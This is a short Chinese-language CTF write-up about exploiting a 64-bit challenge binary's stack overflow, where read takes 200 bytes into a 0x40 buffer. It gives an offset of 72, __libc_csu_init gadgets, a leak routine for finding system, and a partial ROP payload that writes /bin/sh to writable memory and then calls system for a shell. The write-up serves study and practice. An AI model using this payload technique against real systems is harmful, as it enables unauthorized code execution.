使用ida查看程序,在函数0x40063d
中有read
函数,读取用户输入的200个字节。接着调用puts
函数输出。
1 | sub_40063D((__int64)&v1, 200); |
存储用户输入的空间为0x40字节,所以用户输入会导致溢出。由于是64位程序,因此需要gadget来控制流。x64中,主要使用__libc_csu_init
中的两段代码来进行参数传递和函数调用,这两段代码分别位于0x400740和0x40075a。
由于无libc,需要泄漏,通过pattern和rsp可知偏移为72:
1 | def leak(addr): |
获取system
函数地址后,只需要将/bin/sh
写入再调用system
函数即可,通过vmmap
可知0x601000-0x602000可读/写:
1 | payload = 'a' * 72 + p64(0x40075a) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(0x601000) + p64(0) + p64(0x400740) #0、1两个参数固定,0配合第二段代码的call,由于是call指令第三个参数用got,随后是read函数的三个参数,返回0x400740调用第二段代码 |
参考文章和bin下载:https://www.anquanke.com/post/id/85129